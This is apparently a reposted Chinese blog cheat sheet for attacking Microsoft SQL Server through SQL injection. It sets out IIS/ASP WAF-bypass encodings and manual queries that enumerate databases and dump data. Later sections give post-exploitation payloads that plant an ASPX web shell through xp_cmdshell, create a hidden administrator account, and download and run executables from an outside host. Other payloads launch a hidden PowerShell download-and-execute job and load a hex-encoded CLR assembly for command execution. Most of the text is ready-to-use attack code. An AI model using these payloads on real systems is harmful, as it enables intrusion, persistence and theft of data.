当前位置: 开发笔记 > 编程语言 > 正文

web安全学习sql注入针对mssql(sqlserver)的攻击

作者：焦作艾文斯 | 来源：互联网 | 2023-06-13 14:31

文章目录0x00前言0x01mssql环境下需要了解的几个特性1.iis特性1.1%特性(ASPIIS)1.2%u特性(aspiis和aspxiis)1.3另类%u特性(ASPII

文章目录

0x00 前言
0x01 mssql环境下需要了解的几个特性
- 1. iis特性
- - 1.1 %特性(ASP&＃43;IIS)
  - 1.2 %u特性(asp&＃43;iis和aspx&＃43;iis)
  - 1.3 另类%u特性(ASP&＃43;IIS)
- 2. mssql特性
- - 1. 空白字符
  - 2. 注释符
  - 3. 特殊数值
  - 4. 运算符
0x02 常规注入流程
- 0.判断数据库是否是mssql并判断当前用户权限
- 1.读取当前数据库下所有的表&＃xff1a;
- 2.读取所有的数据库并显示在一行
- 3.爆指定数据库的表名
- 4.查找某数据库中用户创建的表
- 5. 判断回显点
- 6. 实现limit
- 7. 爆列名
- 7. 爆数据
- 8. 查询数据库的所有表
- 9. 爆破当前表的字段
0x03 其他利用
- 1. xp_cmdshell
- 2. sp_oacreate 无回显
- 3. 通过沙盒执行命令
- 4. agent job--使用powershell上线
- 5. 创建文件
- 6. 查找文件绝对路径
- 7. 利用clr执行命令
- 8. 恢复存储过程
0x04 DBO到DBA
- 基于可信数据库
- 基于用户模拟
参考文章

0x00 前言

mssql一般的环境是iis&＃43;asp或iis&＃43;aspx&＃xff0c;我们先了解一下mssql的特性。

0x01 mssql环境下需要了解的几个特性

此部分内容均为转载

1. iis特性

下面摘自 bypass大佬的waf攻防实战笔记

1.1 %特性(ASP&＃43;IIS)

在asp&＃43;iis的环境中存在一个特性,就是特殊符号%,在该环境下当们我输入s%elect的时候,在WAF层可能解析出来

的结果就是s%elect,但是在iis&＃43;asp的环境的时候,解析出来的结果为select。

Ps.此处猜测可能是iis下asp.dll解析时候的问题,aspx&＃43;iis的环境就没有这个特性。

1.2 %u特性(asp&＃43;iis和aspx&＃43;iis)

Iis服务器支持对于unicode的解析,例如我们对于select中的字符进行unicode编码,可以得到如下的

s%u006c%u0006ect ,这种字符在IIS接收到之后会被转换为select,但是对于WAF层,可能接收到的内容还是

s%u006c%u0006ect,这样就会形成bypass的可能。

1.3 另类%u特性(ASP&＃43;IIS)

该漏洞主要利用的是unicode在iis解析之后会被转换成multibyte,但是转换的过程中可能出现: 多个widechar会有

可能转换为同一个字符。打个比方就是譬如select中的e对应的unicode为%u0065,但是%u00f0同样会被转换成为 e。s%u0065lect->select s%u00f0lect->select WAF层可能能识别s%u0065lect的形式,但是很有可能识别不了s%u00f0lect的形式。这样就可以利用起来做WAF的绕过。常见三个关键字(union&＃43;select&＃43;from)的测试情况:

s%u0045lect &＃61; s%u0065lect &＃61; %u00f0lect u --> %u0055 --> %u0075 n -->%u004e --> %u006e i -->%u0049 --> %u0069 o -->%u004f --> %u006f -->%u00ba s -->%u0053 --> %u0073 l -->%u004c --> %u006c e -->%u0045 --> %u0065-->%u00f0 c -->%u0043 --> %u0063 t -->%u0054 -->%u0074 -->%u00de -->%u00fe f -->%u0046 -->%u0066 r -->%u0052 -->%u0072 m -->%u004d -->%u006d

2. mssql特性

1. 空白字符

Mssql可以利用的空白字符有(需要在字符前面加%):

01,02,03,04,05,06,07,08,09,0A,0B,0C,0D,0E,0F,10,11,12,13,14,15,16,17,18,19,1A,1B,1C,1D,1E,1F,20

2. 注释符

注释符可以用来代替空格,或者和–配合使用,–也可以配合%0a(注释加换行)

/**/ -- /*anything*/

3. 特殊数值

一般用在注入点上

如1.1或者1E0这些

4. 运算符

下面摘自 404大佬的MSSQL_SQL_BYPASS_WIKI

&＃43; 加法运算 - 减法运算 * 乘法运算 / 除法运算&＃xff0c;如果两个表达式值都是整数&＃xff0c;那么结果只取整数值&＃xff0c;小数值将略去 % 取模运算&＃xff0c;返回两数相除后的余数& 位与逻辑运算&＃xff0c;从两个表达式中取对应的位。当且仅当输入表达式中两个位的值都为1时&＃xff0c;结果中的位才被设置为1&＃xff0c;否则&＃xff0c;结果中的位被设置为0 | 位或逻辑运算&＃xff0c;从两个表达式中取对应的位。如果输入表达式中两个位只要有一个的值为1时&＃xff0c;结果的位就被设置为1&＃xff0c;只有当两个位的值都为0时&＃xff0c;结果中的位才被设置为0 ^ 位异或运算&＃xff0c;从两个表达式中取对应的位。如果输入表达式中两个位只有一个的值为1时&＃xff0c;结果中的位就被设置为1&＃xff1b;只有当两个位的值都为0或1时&＃xff0c;结果中的位才被设置为0&＃61; 等于 <> 不等于 > 大于 !&＃61; 不等于 <小于 !<不小于 >&＃61; 大于或等于 !> 不大于 <&＃61; 小于或等于ALL 如果一组的比较都为true&＃xff0c;则比较结果为true AND 如果两个布尔表达式都为true&＃xff0c;则结果为true&＃xff1b;如果其中一个表达式为false&＃xff0c;则结果为false ANY 如果一组的比较中任何一个为true&＃xff0c;则结果为true BETWEEN 如果操作数在某个范围之内&＃xff0c;那么结果为true EXISTS 如果子查询中包含了一些行&＃xff0c;那么结果为true IN 如果操作数等于表达式列表中的一个&＃xff0c;那么结果为true LIKE 如果操作数与某种模式相匹配&＃xff0c;那么结果为true NOT 对任何其他布尔运算符的结果值取反 OR 如果两个布尔表达式中的任何一个为true&＃xff0c;那么结果为true SOME 如果在一组比较中&＃xff0c;有些比较为true&＃xff0c;那么结果为true
0x02 常规注入流程

#一些重要的信息 &＃64;&＃64;version // 数据库版本user //获取当前数据库用户名db_name() // 当前数据库名其中db_name(N)可以来遍历其他数据库;select user //查询是否支持多语句

#判断是否站库分离 select * from info where id&＃61;&＃39;1&＃39;and host_name()&＃61;&＃64;&＃64;servername;--&＃39;

0.判断数据库是否是mssql并判断当前用户权限

and exists (select * from sysobjects)-- select is_srvrolemember(&＃39;sysadmin&＃39;) #如果是dba权限则不会报错and 1&＃61;(select is_srvrolemember(&＃39;sysadmin&＃39;))and 1&＃61;(select is_srvrolemember(&＃39;serveradmin&＃39;))and 1&＃61;(select is_srvrolemember(&＃39;setupadmin&＃39;))and 1&＃61;(select is_srvrolemember(&＃39;securityadmin&＃39;))and 1&＃61;(select is_srvrolemember(&＃39;diskadmin&＃39;))and 1&＃61;(select is_srvrolemember(&＃39;bulkadmin&＃39;))

1.读取当前数据库下所有的表&＃xff1a;

#查询当前数据库 http://192.168.130.137/1.aspx?id&＃61;1&＃39;and db_name()>0;--

select * from new123 where id &＃61; 2 and 1&＃61;convert(int,(select top 1 table_name from information_schema.tables where table_name not in(&＃39;V_XG_BZKS_SHSJHD&＃39;,&＃39;HH_HeartHealthRefer_Web&＃39;)))

2.读取所有的数据库并显示在一行

select * from new123 where id &＃61; 2 and 1&＃61;convert(int,(select quotename(name) from master..sysdatabases FOR XML PATH(&＃39;&＃39;)))

3.爆指定数据库的表名

select * from new123 where name &＃61; &＃39;&＃39; UNION select 1,(SELECT table_name from information_schema.tables where table_catalog&＃61;db_name()),2 --

在这里插入图片描述

SELECT quotename(table_name) from information_schema.tables where table_catalog&＃61;db_name() FOR XML PATH(&＃39;&＃39;)

在这里插入图片描述

4.查找某数据库中用户创建的表

查看当前数据库中用户创建的表

select * from sysobjects where xtype&＃61;&＃39;U&＃39;

查看master数据库中用户创建的表

select * from master.dbo.sysobjects where xtype&＃61;&＃39;U&＃39;

在这里插入图片描述
参考文章&＃xff1a;MSSQL三个关键系统表sysdatabases,sysobjects,syscolumns作用分析

5. 判断回显点

跟mysql一样使用order by。

6. 实现limit

下面语句的逻辑是&＃xff0c;查找表名&＃xff0c;并显示除了第一个表名外的其他表名中的第一个。举例如下&＃xff1a;
下表本有两个表new123与test11&＃xff0c;如果我们执行命令&＃xff0c;那么我们知道除了第一个表名new123外其他表名中的第一个表名就是test11&＃xff0c;则最终test11会被显示出来。如果想显示第3个表名&＃xff0c;那么将第二个top后面的数据改为2即可。逻辑就变成了&＃xff0c;除了前两个表名外其他表名中的第一个&＃xff0c;以此类推。

SELECT top 1 table_name from information_schema.tables where table_catalog&＃61;db_name() and table_name not in (SELECT top 1 table_name from information_schema.tables where table_catalog&＃61;db_name())

在这里插入图片描述

7. 爆列名

select quotename(name) from [数据库名]..syscolumns where id &＃61;(select id from [数据库名]..sysobjects where name&＃61;&＃39;table_name&＃39;) FOR XML PATH(&＃39;&＃39;)

例如我要爆破&＃xff0c;test数据库中new123表中的列名&＃xff0c;一次性显示所有列名&＃xff1a;

select quotename(name) from test..syscolumns where id &＃61;(select id from test..sysobjects where name&＃61;&＃39;new123&＃39;) FOR XML PATH(&＃39;&＃39;)

在这里插入图片描述
我们也可以一个一个显示,更改第二个top后面的数字即可&＃xff0c;原理在第六步实现limit中解释过了&＃xff1a;

select top 1 name from test..syscolumns where id &＃61;(select id from test..sysobjects where name&＃61;&＃39;new123&＃39;) and name not in (select top 0 name from test..syscolumns where id &＃61;(select top 1 id from test..sysobjects where name&＃61;&＃39;new123&＃39;))

7. 爆数据

一次爆出所有

select quotename(name) from new123 for xml path(&＃39;&＃39;)

在这里插入图片描述
一个一个爆出&＃xff1a;

select top 1 name from new123 where name not in (select top 1 name from new123);

在这里插入图片描述

8. 查询数据库的所有表

http://192.168.130.137/1.aspx?id&＃61;1 and 1&＃61;(select top 1 table_name from information_schema.tables );--

9. 爆破当前表的字段

http://192.168.130.137/1.aspx?id&＃61;1 having 1&＃61;1 http://192.168.130.137/1.aspx?id&＃61;1 group by info.id,info.name having 1&＃61;1

表是info&＃xff0c;字段是id
在这里插入图片描述

在这里插入图片描述

0x03 其他利用

1. xp_cmdshell

#开启xp_cmdshell EXEC sp_configure &＃39;show advanced options&＃39;, 1;RECONFIGURE; EXEC sp_configure &＃39;xp_cmdshell&＃39;, 1;RECONFIGURE;-- 开启xp_cmdshell#关毕xp_cmdshell EXEC sp_configure &＃39;show advanced options&＃39;, 0;RECONFIGURE; EXEC sp_configure &＃39;xp_cmdshell&＃39;, 0;RECONFIGURE; EXEC sp_configure &＃39;show advanced options&＃39;, 0; GO RECONFIGURE; -- 禁用advanced options#命令执行 EXEC master..xp_cmdshell &＃39;ipconfig&＃39;

http://192.168.130.137/1.aspx?id&＃61;1;exec master..xp_cmdshell &＃39;echo ^<%&＃64; Page Language&＃61;"Jscript"%^>^<%eval(Request.Item["pass"],"unsafe");%^> > c:\\WWW\\404.aspx&＃39; ;

2. sp_oacreate 无回显

#开启 EXEC sp_configure &＃39;show advanced options&＃39;, 1;RECONFIGURE WITH OVERRIDE; EXEC sp_configure &＃39;Ole Automation Procedures&＃39;, 1;RECONFIGURE WITH OVERRIDE;#关闭 sp_configure &＃39;ole automation procedures&＃39;,0;reconfigure;exec sp_configure &＃39;show advanced options&＃39;,0;reconfigure;#命令执行&＃xff1a; declare &＃64;shell int exec sp_oacreate &＃39;wscript.shell&＃39;, &＃64;shell out exec sp_method &＃64;shell, &＃39;run&＃39; , null, &＃39;c:\windows\system32\cmd.exe \c "net user test pinohd123. /add" &＃39;#shell.application执行命令declare &＃64;o int exec sp_oacreate &＃39;Shell.Application&＃39;, &＃64;o out exec sp_oamethod &＃64;o, &＃39;ShellExecute&＃39;,null, &＃39;cmd.exe&＃39;,&＃39;cmd /c net user >c:\test.txt&＃39;,&＃39;c:\windows\system32&＃39;,&＃39;&＃39;,&＃39;1&＃39;;#写启动项 declare &＃64;sp_passwordxieo int, &＃64;f int, &＃64;t int, &＃64;ret int exec sp_oacreate &＃39;scripting.filesystemobject&＃39;, &＃64;sp_passwordxieo out exec sp_oamethod &＃64;sp_passwordxieo, &＃39;createtextfile&＃39;, &＃64;f out, &＃39;d:\RECYCLER\1.vbs&＃39;, 1 exec &＃64;ret &＃61; sp_oamethod &＃64;f, &＃39;writeline&＃39;, NULL,&＃39;set wsnetwork&＃61;CreateObject("WSCRIPT.NETWORK")&＃39; exec &＃64;ret &＃61; sp_oamethod &＃64;f, &＃39;writeline&＃39;, NULL,&＃39;os&＃61;"WinNT://"&wsnetwork.ComputerName&＃39; exec &＃64;ret &＃61; sp_oamethod &＃64;f, &＃39;writeline&＃39;, NULL,&＃39;Set ob&＃61;GetObject(os)&＃39; exec &＃64;ret &＃61; sp_oamethod &＃64;f, &＃39;writeline&＃39;, NULL,&＃39;Set oe&＃61;GetObject(os&"/Administrators,group")&＃39; exec &＃64;ret &＃61; sp_oamethod &＃64;f, &＃39;writeline&＃39;, NULL,&＃39;Set od&＃61;ob.Create("user","123$")&＃39; exec &＃64;ret &＃61; sp_oamethod &＃64;f, &＃39;writeline&＃39;, NULL,&＃39;od.SetPassword "123"&＃39; exec &＃64;ret &＃61; sp_oamethod &＃64;f, &＃39;writeline&＃39;, NULL,&＃39;od.SetInfo&＃39; exec &＃64;ret &＃61; sp_oamethod &＃64;f, &＃39;writeline&＃39;, NULL,&＃39;Set of&＃61;GetObject(os&"/123$",user)&＃39; exec &＃64;ret &＃61; sp_oamethod &＃64;f, &＃39;writeline&＃39;, NULL,&＃39;oe.add os&"/123$"&＃39;;#下载并执行文件 declare &＃64;sp_passwordxieo int, &＃64;f int, &＃64;t int, &＃64;ret int; exec sp_oacreate &＃39;scripting.filesystemobject&＃39;, &＃64;sp_passwordxieo out; exec sp_oamethod &＃64;sp_passwordxieo, &＃39;createtextfile&＃39;, &＃64;f out, &＃39;c:\www\1.bat&＃39;, 1; exec &＃64;ret &＃61; sp_oamethod &＃64;f, &＃39;writeline&＃39;, NULL,&＃39;&＃64;echo off&＃39;; exec &＃64;ret &＃61; sp_oamethod &＃64;f, &＃39;writeline&＃39;, NULL,&＃39;start cmd /k "cd c:\www & certutil -urlcache -split -f http://192.168.130.142:80/download/file.exe"&＃39;;declare &＃64;shell int exec sp_oacreate &＃39;wscript.shell&＃39;,&＃64;shell output exec sp_oamethod &＃64;shell,&＃39;run&＃39;,null,&＃39;c:\www\1.bat&＃39;declare &＃64;shell int exec sp_oacreate &＃39;wscript.shell&＃39;,&＃64;shell output exec sp_oamethod &＃64;shell,&＃39;run&＃39;,null,&＃39;c:\www\file.exe&＃39;

3. 通过沙盒执行命令

#开启沙盒 exec sp_configure &＃39;show advanced options&＃39;,1;reconfigure; exec sp_configure &＃39;Ad Hoc Distributed Queries&＃39;,1;reconfigure; exec master..xp_regwrite &＃39;HKEY_LOCAL_MACHINE&＃39;,&＃39;SOFTWARE\Microsoft\Jet\4.0\Engines&＃39;,&＃39;SandBoxMode&＃39;,&＃39;REG_DWORD&＃39;,0#执行命令 select * from openrowset(&＃39;microsoft.jet.oledb.4.0&＃39;,&＃39;;database&＃61;c:\windows\system32\ias\dnary.mdb&＃39;,&＃39;select shell("whoami")&＃39;) select * from openrowset(&＃39;microsoft.jet.oledb.4.0&＃39;,&＃39;;database&＃61;ias\ias.mdb&＃39;,&＃39;select shell("CMD命令")&＃39;)

上面失败的时候使用下面的&＃xff1a;

declare &＃64;hr int declare &＃64;object int;declare &＃64;property int exec &＃64;hr &＃61; sp_OACreate &＃39;ADOX.Catalog&＃39;,&＃64;object OUTPUTexec &＃64;hr &＃61; sp_OAMethod &＃64;object,&＃39;Create&＃39;,&＃64;property output,&＃39;Provider&＃61;Microsoft.Jet.OLEDB.4.0;Data Source&＃61;SysSetup.xml&＃39;#执行命令 select * from openrowset(&＃39;microsoft.jet.oledb.4.0&＃39;,&＃39;;database&＃61;SysSetup.xml&＃39;,&＃39;select shell("CMD命令")&＃39;)

4. agent job–使用powershell上线

条件&＃xff1a;
1.目标服务器必须开启了MSSQL Server代理服务&＃xff1b;
2.服务器中当前运行的用户账号必须拥有足够的权限去创建并执行代理作业&＃xff1b;

USE msdb; EXEC dbo.sp_add_job &＃64;job_name &＃61; N&＃39;test_powershell_job1&＃39; ; EXEC sp_add_jobstep &＃64;job_name &＃61; N&＃39;test_powershell_job1&＃39;, &＃64;step_name &＃61; N&＃39;test_powershell_name1&＃39;, &＃64;subsystem &＃61; N&＃39;PowerShell&＃39;, &＃64;command &＃61; N&＃39;powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring(&＃39;&＃39;http://192.168.214.129:80/a&＃39;&＃39;))"&＃39;, &＃64;retry_attempts &＃61; 1, &＃64;retry_interval &＃61; 5 ;EXEC dbo.sp_add_jobserver &＃64;job_name &＃61; N&＃39;test_powershell_job1&＃39;; EXEC dbo.sp_start_job N&＃39;test_powershell_job1&＃39;;

5. 创建文件

#开启和关毕sp_makewebtask exec sp_configure &＃39;show advanced options&＃39;, 1;RECONFIGURE;exec sp_configure &＃39;Web Assistant Procedures&＃39;,1;RECONFIGURE; -- 开启 exec sp_configure &＃39;show advanced options&＃39;, 1;RECONFIGURE;exec sp_configure &＃39;Web Assistant Procedures&＃39;,0;RECONFIGURE; -- 关毕 EXEC sp_configure &＃39;show advanced options&＃39;, 0; GO RECONFIGURE WITH OVERRIDE; -- 禁用advanced options#sp_makewebtask新建文件 exec sp_makewebtask &＃39;c:\windows.txt&＃39;,&＃39; select &＃39;&＃39;<%25execute(request("a"))%25>&＃39;&＃39; &＃39;;;--

6. 查找文件绝对路径

execute master..xp_dirtree &＃39;c:&＃39; --列出所有c:\文件、目录、子目录 execute master..xp_dirtree &＃39;c:&＃39;,1 --只列c:\目录 execute master..xp_dirtree &＃39;c:&＃39;,1,1 --列c:\目录、文件当实际利用的时候我们可以创建一个临时表把存储过程查询到的路径插入到临时表中 CREATE TABLE tmp (dir varchar(8000),num int,num1 int); insert into tmp(dir,num,num1) execute master..xp_dirtree &＃39;c:&＃39;,1,1;例如&＃xff1a; http://192.168.130.137/1.aspx?id&＃61;1;CREATE TABLE cmdtmp (dir varchar(8000)); http://192.168.130.137/1.aspx?id&＃61;1;insert into cmdtmp(dir) exec master..xp_cmdshell &＃39;for /r c:\ %i in (1*.aspx) do &＃64;echo %i&＃39;

7. 利用clr执行命令

#启动clr和高级选项2017版本之前 sp_configure &＃39;show advanced options&＃39;,1;RECONFIGURE sp_configure &＃39;clr enabled&＃39;,1;RECONFIGURE; ALTER DATABASE master SET TRUSTWORTHY ON; #启动clr和高级选项2017版本之后 sp_configure &＃39;show advanced options&＃39;,1;RECONFIGURE sp_configure &＃39;clr enabled&＃39;,1;RECONFIGURE; sp_add_trusted_assembly &＃64;hash&＃61; ;# 利用SQL语句导入程序集的16进制数据CREATE ASSEMBLY [master]AUTHORIZATION [dbo]FROM 0x4D5A90000300000004000000FFFF0000B800000000000000400000000000000000000000000000000000000000000000000000000000000000000000800000000E1FBA0E00B409CD21B8014CCD21546869732070726F6772616D2063616E6E6F742062652072756E20696E20444F53206D6F64652E0D0D0A2400000000000000504500004C0103006E587C5E0000000000000000E00022200B013000000E00000006000000000000522C0000002000000040000000000010002000000002000004000000000000000400000000000000008000000002000000000000030040850000100000100000000010000010000000000000100000000000000000000000002C00004F00000000400000A802000000000000000000000000000000000000006000000C000000C82A00001C0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000200000080000000000000000000000082000004800000000000000000000002E74657874000000580C000000200000000E000000020000000000000000000000000000200000602E72737263000000A8020000004000000004000000100000000000000000000000000000400000402E72656C6F6300000C0000000060000000020000001400000000000000000000000000004000004200000000000000000000000000000000342C00000000000048000000020005007C2200004C0800000100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000CA00280600000A72010000706F0700000A00280600000A7243000070725300007002280800000A28020000066F0700000A002A001B300600BC0100000100001173040000060A00730900000A0B076F0A00000A026F0B00000A0003280C00000A16FE010D092C0F00076F0A00000A036F0D00000A0000076F0A00000A176F0E00000A00076F0A00000A176F0F00000A00076F0A00000A166F1000000A00076F0A00000A176F1100000A00076F0A00000A176F1200000A0006731300000A7D010000040706FE0605000006731400000A6F1500000A00140C00076F1600000A26076F1700000A00076F1800000A6F1900000A0C076F1A00000A0000DE18130400280600000A11046F1B00000A6F0700000A0000DE00076F1C00000A16FE01130511052C1D00280600000A067B010000046F1D00000A6F0700000A000038AA00000000731300000A130608280C00000A16FE01130711072C0B001106086F1E00000A2600067B010000046F1F00000A16FE03130811082C22001106725D0000706F1E00000A261106067B010000046F1D00000A6F1E00000A2600280600000A1C8D0E000001251602A2251703A225187275000070A22519076F1C00000A13091209282000000AA2251A72AD000070A2251B1106252D0426142B056F1D00000AA2282100000A6F0700000A0000067B010000046F1D00000A130A2B00110A2A011000000000970025BC0018080000012202282200000A002A4E027B01000004046F2300000A6F1E00000A262A00000042534A4201000100000000000C00000076342E302E33303331390000000005006C000000A8020000237E000014030000B403000023537472696E677300000000C8060000B4000000235553007C0700001000000023475549440000008C070000C000000023426C6F620000000000000002000001571502000902000000FA0133001600000100000014000000030000000100000005000000050000002300000005000000010000000100000003000000010000000000D60101000000000006007001BA0206009001BA0206004601A7020F00DA02000006003C03E4010A005A015A020E001503A7020600EB01E40106002C027A0306002B01BA020E00FA02A7020A0086035A020A0023015A020600C401E4010E000302A7020E00D200A7020E004102A70206001402400006002102400006003100E401000000003700000000000100010001001000E9020000150001000100030110000100000015000100040006007003790050200000000096008D007D000100842000000000960099001A0002005C22000000008618A102060004005C22000000008618A102060004006522000000008300160082000400000001007F0000000100F200000002002B03000001003A020000020010030900A10201001100A10206001900A1020A003100A10206005100A102060061001A0110006900A4001500710035031A003900A10206003900F50132007900E50015007100A403370079001D031500790091033C007900C20041007900AE013C00790087023C00790055033C004900A10206008900A1024700390068004D0039004F0353003900FB000600390075025700990083005C003900430306004100B6005C003900A90060002900C2015C0049000F0164004900CB016000A100C2015C00710035036A002900A1020600590056005C0020002300BA002E000B0089002E00130092002E001B00B10063002B00BA0020000480000000000000000000000000000000002700000004000000000000000000000070005F000000000004000000000000000000000070004A00000000000400000000000000000000007000E40100000000030002000000003C3E635F5F446973706C6179436C617373315F30003C52756E436F6D6D616E643E625F5F300044617461626173653100496E743332003C4D6F64756C653E0053797374656D2E494F0053797374656D2E44617461006765745F44617461006D73636F726C6962006164645F4F757470757444617461526563656976656400636D640052656164546F456E640045786563436F6D6D616E640052756E436F6D6D616E640053656E64006765745F45786974436F6465006765745F4D657373616765007365745F57696E646F775374796C650050726F6365737357696E646F775374796C65007365745F46696C654E616D650066696C656E616D6500426567696E4F7574707574526561644C696E6500417070656E644C696E65006765745F506970650053716C5069706500436F6D70696C657247656E6572617465644174747269627574650044656275676761626C654174747269627574650053716C50726F63656475726541747472696275746500436F6D70696C6174696F6E52656C61786174696F6E734174747269627574650052756E74696D65436F6D7061746962696C697479417474726962757465007365745F5573655368656C6C4578656375746500546F537472696E67006765745F4C656E677468004461746162617365312E646C6C0053797374656D00457863657074696F6E006765745F5374617274496E666F0050726F636573735374617274496E666F0053747265616D526561646572005465787452656164657200537472696E674275696C6465720073656E646572004461746152656365697665644576656E7448616E646C6572004D6963726F736F66742E53716C5365727665722E536572766572006765745F5374616E646172644572726F72007365745F52656469726563745374616E646172644572726F72002E63746F720053797374656D2E446961676E6F73746963730053797374656D2E52756E74696D652E436F6D70696C6572536572766963657300446562756767696E674D6F6465730053746F72656450726F63656475726573004461746152656365697665644576656E744172677300617267730050726F63657373007365745F417267756D656E747300617267756D656E747300436F6E636174004F626A6563740057616974466F7245786974005374617274007365745F52656469726563745374616E646172644F7574707574007374644F75747075740053797374656D2E546578740053716C436F6E74657874007365745F4372656174654E6F57696E646F770049734E756C6C4F72456D707479000000004143006F006D006D0061006E0064002000690073002000720075006E006E0069006E0067002C00200070006C006500610073006500200077006100690074002E00000F63006D0064002E00650078006500000920002F0063002000001753007400640020006F00750074007000750074003A0000372000660069006E00690073006800650064002000770069007400680020006500780069007400200063006F006400650020003D00200000053A0020000000593C457501949B4EAC85A8875A6084DC000420010108032000010520010111110400001235042001010E0500020E0E0E11070B120C121D0E0212210212250202080E042000123D040001020E0420010102052001011141052002011C180520010112450320000204200012490320000E0320000805200112250E0500010E1D0E08B77A5C561934E08903061225040001010E062002011C122D0801000800000000001E01000100540216577261704E6F6E457863657074696F6E5468726F777301080100070100000000040100000000000000006E587C5E00000000020000001C010000E42A0000E40C000052534453CEC8B2762812304EAEE7EF5EE4D9EC7901000000463A5C746F6F6C735F736F757263655C4461746162617365315C4461746162617365315C6F626A5C44656275675C4461746162617365312E706462000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000282C00000000000000000000422C0000002000000000000000000000000000000000000000000000342C0000000000000000000000005F436F72446C6C4D61696E006D73636F7265652E646C6C0000000000FF250020001000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000001001000000018000080000000000000000000000000000001000100000030000080000000000000000000000000000001000000000048000000584000004C02000000000000000000004C0234000000560053005F00560045005200530049004F004E005F0049004E0046004F0000000000BD04EFFE00000100000000000000000000000000000000003F000000000000000400000002000000000000000000000000000000440000000100560061007200460069006C00650049006E0066006F00000000002400040000005400720061006E0073006C006100740069006F006E00000000000000B004AC010000010053007400720069006E006700460069006C00650049006E0066006F0000008801000001003000300030003000300034006200300000002C0002000100460069006C0065004400650073006300720069007000740069006F006E000000000020000000300008000100460069006C006500560065007200730069006F006E000000000030002E0030002E0030002E00300000003C000E00010049006E007400650072006E0061006C004E0061006D00650000004400610074006100620061007300650031002E0064006C006C0000002800020001004C006500670061006C0043006F00700079007200690067006800740000002000000044000E0001004F0072006900670069006E0061006C00460069006C0065006E0061006D00650000004400610074006100620061007300650031002E0064006C006C000000340008000100500072006F006400750063007400560065007200730069006F006E00000030002E0030002E0030002E003000000038000800010041007300730065006D0062006C0079002000560065007200730069006F006E00000030002E0030002E0030002E0030000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000002000000C000000543C00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000WITH PERMISSION_SET &＃61; UNSAFE; GO#创建存储过程 CREATE PROCEDURE [dbo].[ExecCommand] &＃64;cmd NVARCHAR (MAX) AS EXTERNAL NAME [master].[StoredProcedures].[ExecCommand] go#执行命令 exec dbo.ExecCommand "whoami /all";

8. 恢复存储过程

if not exists (select * from dbo.sysobjects where id &＃61; object_id(N&＃39;[dbo].[xp_cmdshell]&＃39;)) dbcc addextendedproc (&＃39;xp_cmdshell&＃39;,&＃39;xplog70.dll&＃39;) if not exists (select * from dbo.sysobjects where id &＃61; object_id(N&＃39;[dbo].[xp_dirtree]&＃39;)) dbcc addextendedproc (&＃39;xp_dirtree&＃39;,&＃39;xpstar.dll&＃39;) if not exists (select * from dbo.sysobjects where id &＃61; object_id(N&＃39;[dbo].[xp_fixeddrives]&＃39;)) dbcc addextendedproc (&＃39;xp_fixeddrives&＃39;,&＃39;xpstar.dll&＃39;) if not exists (select * from dbo.sysobjects where id &＃61; object_id(N&＃39;[dbo].[xp_regwrite]&＃39;)) dbcc addextendedproc (&＃39;xp_regwrite&＃39;,&＃39;xpstar.dll&＃39;) if not exists (select * from dbo.sysobjects where id &＃61; object_id(N&＃39;[dbo].[xp_regread]&＃39;)) dbcc addextendedproc (&＃39;xp_regread&＃39;,&＃39;xpstar.dll&＃39;)

https://paper.seebug.org/1525/#clr_1
https://github.com/mindspoof/MSSQL-Fileless-Rootkit-WarSQLKit

0x04 DBO到DBA

基于可信数据库

在这里插入图片描述

#知道账号密码 mssql_escalate_dbowner #不知道账号密码只知道web的注入点 mssql_escalate_dbowner_sqli

基于用户模拟

#知道账号密码 mssql_escalate_execute_as #不知道账号密码只知道web的注入点 mssql_escalate_execute_as_sqli

在这里插入图片描述

参考文章

aleenzz/MSSQL_SQL_BYPASS_WIKI
记一次面试bypass宝塔&＃43;安全狗的手注
MSSQL手工注入总结
从DBO到DBA的两种思路
mssql命令执行
mssql注入总结